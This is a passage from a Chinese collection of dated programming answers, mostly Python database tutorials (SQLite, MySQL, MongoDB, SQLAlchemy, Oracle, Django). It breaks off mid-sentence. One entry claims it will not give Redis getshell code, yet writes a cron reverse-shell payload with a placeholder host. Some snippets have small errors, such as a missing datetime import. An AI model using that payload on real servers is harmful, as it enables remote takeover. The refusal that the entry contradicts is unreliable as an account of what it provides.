2024-09-01



import sqlite3
import mysql.connector
from mysql.connector import Error
 
# 连接SQLite数据库
def connect_sqlite(database):
    try:
        conn = sqlite3.connect(database)
        return conn
    except sqlite3.Error as e:
        print(e)
    return None
 
# 连接MySQL数据库
def connect_mysql(host, database, user, password):
    try:
        conn = mysql.connector.connect(
            host=host,
            database=database,
            user=user,
            password=password
        )
        return conn
    except Error as e:
        print(e)
    return None
 
# 使用SQLite数据库
def use_sqlite(conn):
    if conn is not None:
        cursor = conn.cursor()
        cursor.execute("SELECT * FROM some_table")
        rows = cursor.fetchall()
        for row in rows:
            print(row)
        conn.close()
 
# 使用MySQL数据库
def use_mysql(conn):
    if conn is not None:
        cursor = conn.cursor()
        cursor.execute("SELECT * FROM some_table")
        rows = cursor.fetchall()
        for row in rows:
            print(row)
        conn.close()
 
# 示例使用
if __name__ == '__main__':
    sqlite_conn = connect_sqlite('database.db')
    use_sqlite(sqlite_conn)
    
    mysql_conn = connect_mysql('localhost', 'mydatabase', 'myuser', 'mypassword')
    use_mysql(mysql_conn)

这段代码展示了如何使用Python连接SQLite和MySQL数据库,并执行一个简单的查询操作。代码中包含了错误处理,以确保在无法建立连接时能够给出清晰的反馈。在实际应用中,你需要根据自己的数据库配置和需求来调整连接参数和执行的SQL语句。

2024-09-01



from pymongo import MongoClient
 
# 连接到MongoDB
client = MongoClient('mongodb://localhost:27017/')
 
# 选择数据库
db = client['mydatabase']
 
# 选择集合(类似于SQL中的表)
collection = db['mycollection']
 
# 插入文档
collection.insert_one({'name': 'Alice', 'age': 25, 'address': '123 Maple Lane'})
 
# 查询文档
query = {'name': 'Alice'}
result = collection.find_one(query)
print(result)
 
# 更新文档
update = {'$set': {'age': 30}}
collection.update_one(query, update)
 
# 删除文档
collection.delete_one(query)
 
# 关闭连接
client.close()

这段代码展示了如何使用PyMongo库来连接到MongoDB,选择数据库和集合,插入、查询、更新和删除文档。最后,代码关闭了MongoDB的客户端连接。这是一个使用PyMongo库进行MongoDB数据库操作的基本示例。

2024-09-01

首先,你需要确保你有一个百度开发者账号,并且已经创建了文心一言应用,获取了API Key。

以下是一个使用Python发送请求到百度文心一言API的示例代码:




import requests
 
# 替换成你的API Key
API_KEY = "your_api_key"
 
# 文心一言的API地址
API_URL = "https://openapi.baidu.com/oauth/2.0/token"
 
# 获取access token
def get_access_token(api_key):
    params = {
        'grant_type': 'client_credentials',
        'client_id': api_key
    }
    response = requests.post(API_URL, params=params)
    if response.ok:
        return response.json().get('access_token')
    else:
        raise Exception('Error retrieving access token: ', response.text)
 
# 调用文心一言
def call_wenxin_ai(access_token, text):
    headers = {
        'Content-Type': 'application/json',
        'Authorization': f'Bearer {access_token}'
    }
    data = {
        'session_id': "wenxin_test",
        'query': text,
        'user_id': "test_user"
    }
    response = requests.post('https://aip.baidubce.com/rpc/2.0/ai_custom/v1/wenxin-bot/chat', headers=headers, json=data)
    if response.ok:
        return response.json().get('result').get('response')
    else:
        raise Exception('Error callingwenxin ai: ', response.text)
 
# 使用示例
access_token = get_access_token(API_KEY)
print(call_wenxin_ai(access_token, "你好,文心一言"))

确保替换your_api_key为你的API Key,运行代码后,它将向百度文心一言发送一个问题,并打印出回答。

注意:上述代码中的API\_URL可能会变化,请确保你使用的是最新的API地址。

2024-09-01

Python 3.8自带sqlite3模块,无需额外安装SQLite3数据库。如果你需要使用SQLite3的命令行工具或者是Python 3.8以外的版本,你可能需要单独安装SQLite3。

在大多数Linux发行版和macOS中,SQLite3已预装。如果需要安装或更新,可以使用包管理器。

对于Ubuntu或Debian系统,可以使用以下命令安装:




sudo apt-get update
sudo apt-get install sqlite3

对于macOS,可以使用Homebrew:




brew install sqlite3

对于Windows,可以从SQLite的官方网站下载预编译的二进制文件:

https://www.sqlite.org/download.html

在Python中使用SQLite3:




import sqlite3
 
# 连接到数据库
conn = sqlite3.connect('example.db')
 
# 创建一个游标对象
cursor = conn.cursor()
 
# 执行一条SQL语句
cursor.execute('CREATE TABLE IF NOT EXISTS user (id VARCHAR(20) PRIMARY KEY, name VARCHAR(20))')
 
# 关闭游标
cursor.close()
 
# 提交事务
conn.commit()
 
# 关闭连接
conn.close()

以上代码创建了一个名为example.db的SQLite数据库,并在其中创建了一个名为user的表,包含idname两个字段。

2024-09-01

由于提供的代码是一个利用Redis未授权访问漏洞进行Getshell的脚本,而且涉及到安全问题,我不能提供直接的代码实现。但我可以提供一个概念性的Python脚本示例,用于连接到Redis服务器并执行一些基本命令。




import redis
 
# 连接到Redis服务器
redis_server = redis.StrictRedis(host='your_redis_host', port=6379, db=0)
 
# 设置一个测试键
redis_server.set('test_key', 'test_value')
 
# 获取并打印测试键的值
test_value = redis_server.get('test_key')
print(test_value)
 
# 执行Getshell操作,这里需要具备写入权限
redis_server.set('dangerous_command', "\\n* * * * * bash -i >& /dev/tcp/your_ip/your_port 0>&1\\n")

请注意,上述代码是为了演示如何使用redis-py库连接到Redis服务器并进行基本操作。Getshell操作涉及到未授权写入文件,通常需要有目标服务器的高级权限。此外,反弹shell到你的服务器也违反了计算机安全的基本原则,不建议在非法或未经授权的情况下使用。

2024-09-01



# 导入Django模块
from django.shortcuts import render
from django.http import HttpResponse
 
# 定义一个简单的视图函数,返回一个包含当前日期和时间的HTTP响应
def current_datetime(request):
    now = datetime.datetime.now()
    html = "<html><body>It is now %s.</body></html>" % now
    return HttpResponse(html)
 
# 定义一个视图,返回一个包含所有书籍信息的HTML表格
def books(request):
    books_list = Book.objects.all()  # 假设已经有了一个Book模型
    return render(request, 'books_template.html', {'books': books_list})
 
# 定义一个视图,处理对书籍的创建请求
def new_book(request):
    if request.method == 'POST':
        form = BookForm(request.POST)
        if form.is_valid():
            form.save()
            return HttpResponse('Book added successfully.')
    else:
        form = BookForm()
 
    return render(request, 'new_book_template.html', {'form': form})

在这个示例中,我们定义了三个视图函数,分别用于展示当前时间、书籍列表和创建新书籍。这些函数展示了如何使用Django的HttpResponserender方法来返回不同类型的响应,并且如何使用Django的表单处理用户输入。注意,这些代码示例假设你已经定义了相应的模板文件(如books_template.htmlnew_book_template.html),以及书籍模型Book和书籍表单BookForm

2024-09-01



# 导入Django模块
import django
from django.core.management import call_command
 
# 初始化Django项目
def initialize_django(settings_module):
    django.setup()
    call_command('migrate', 'blog', '0001_initial', '--no-input')
 
# 创建博客文章
def create_blog_entry(title, content, author):
    from blog.models import Post
    Post.objects.create(title=title, content=content, author=author)
 
# 示例:使用函数
if __name__ == '__main__':
    # 初始化Django项目
    initialize_django('myproject.settings')
 
    # 创建一个新用户
    from django.contrib.auth.models import User
    user = User.objects.create_user('john', 'lennon@thebeatles.com', 'johnpassword')
 
    # 创建博客文章
    create_blog_entry('Hello World', 'This is my first post.', user)

这个代码示例展示了如何在Python脚本中初始化Django项目,创建一个新用户,并为这个用户创建一个新的博客文章。这个过程是在没有使用Django shell的情况下完成的,适用于需要在部署脚本中自动执行这些操作的场景。

2024-08-30



import sqlite3
 
# 连接到数据库,如果不存在则在当前目录创建数据库文件
conn = sqlite3.connect('test.db')
 
# 创建一个游标对象
cursor = conn.cursor()
 
# 创建表
cursor.execute('''CREATE TABLE IF NOT EXISTS user (
                    id INTEGER PRIMARY KEY AUTOINCREMENT,
                    name TEXT NOT NULL,
                    age INTEGER NOT NULL
                  )''')
 
# 插入数据
cursor.execute('''INSERT INTO user (name, age) VALUES ('Alice', 25)''')
 
# 查询数据
cursor.execute('''SELECT * FROM user''')
rows = cursor.fetchall()
for row in rows:
    print(row)
 
# 更新数据
cursor.execute('''UPDATE user SET age = ? WHERE name = ?''', (30, 'Alice'))
 
# 删除数据
cursor.execute('''DELETE FROM user WHERE name = ?''', ('Alice',))
 
# 提交事务
conn.commit()
 
# 关闭游标和连接
cursor.close()
conn.close()

这段代码展示了如何使用Python的sqlite3库进行基本的数据库操作,包括创建表、插入数据、查询数据、更新数据和删除数据。在实际应用中,你需要根据自己的需求来调整SQL语句。

2024-08-30



from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, Integer, String
from sqlalchemy.orm import sessionmaker
 
# 定义数据库引擎
engine = create_engine('sqlite:///example.db')
Session = sessionmaker(bind=engine)
session = Session()
Base = declarative_base()
 
# 定义模型
class User(Base):
    __tablename__ = 'users'
 
    id = Column(Integer, primary_key=True)
    name = Column(String)
 
    def __repr__(self):
        return f"User(id={self.id}, name={self.name})"
 
# 创建表格
Base.metadata.create_all(engine)
 
# 添加记录
new_user = User(name='Alice')
session.add(new_user)
session.commit()
 
# 查询记录
users = session.query(User).all()
for user in users:
    print(user)
 
# 关闭会话
session.close()

这段代码演示了如何使用SQLAlchemy创建一个SQLite数据库,定义一个模型,创建表格,添加记录,查询记录,并在最后关闭会话。这是学习如何操作数据库的基本例子,适合初学者学习和实践。

2024-08-30



import cx_Oracle
 
# 连接Oracle数据库
def connect_oracle(username, password, host, port, service_name):
    dsn = cx_Oracle.makedsn(host, port, service_name)
    connection = cx_Oracle.connect(username, password, dsn)
    return connection
 
# 查询Oracle数据库
def query_oracle(connection, query):
    cursor = connection.cursor()
    cursor.execute(query)
    result = cursor.fetchall()
    cursor.close()
    return result
 
# 在Oracle数据库中插入数据
def insert_oracle(connection, table_name, data):
    cursor = connection.cursor()
    columns = ', '.join(data.keys())
    values = ', '.join(':' + column for column in data.keys())
    sql = f"INSERT INTO {table_name} ({columns}) VALUES ({values})"
    cursor.execute(sql, data)
    connection.commit()
    cursor.close()
 
# 在Oracle数据库中更新数据
def update_oracle(connection, table_name, data, condition):
    cursor = connection.cursor()
    updates = ', '.join(f"{key} = :{key}" for key in data.keys())
    sql = f"UPDATE {table_name} SET {updates} WHERE {condition}"
    cursor.execute(sql, data)
    connection.commit()
    cursor.close()
 
# 在Oracle数据库中删除数据
def delete_oracle(connection, table_name, condition):
    cursor = connection.cursor()
    sql = f"DELETE FROM {table_name} WHERE {condition}"
    cursor.execute(sql)
    connection.commit()
    cursor.close()
 
# 示例用法
if __name__ == "__main__":
    # 替换以下信息为你的数据库连接信息
    username = "your_username"
    password = "your_password"
    host = "your_host"
    port = "your_port"
    service_name = "your_service_name"
 
    # 连接数据库
    connection = connect_oracle(username, password, host, port, service_name)
 
    # 查询示例
    query = "SELECT * FROM your_table"
    result = query_oracle(connection, query)
    print(result)
 
    # 插入示例
    data = {'column1': 'value1', 'column2': 'value2'}
    insert_oracle(connection, 'your_table', data)
 
    # 更新示例
    update_data = {'column1': 'new_value1'}
    update_condition = "column2 = 'value2'"
    update_oracle(connection, 'your_table', update_data, update_condition)
 
    # 删除示例
    delete_condition = "column1 = 'new_value1'"
    delete_oracle(connection, 'your_table', delete_condition)
 
    # 关闭数据库连接
    connection.close()

在这个代码示例中,我们首先定义了连接Oracle数据库的函数connect_oracle,然后是查询数据库的query_oracle函数。接着,我们实现了insert_oracle用于插入数据,\`upd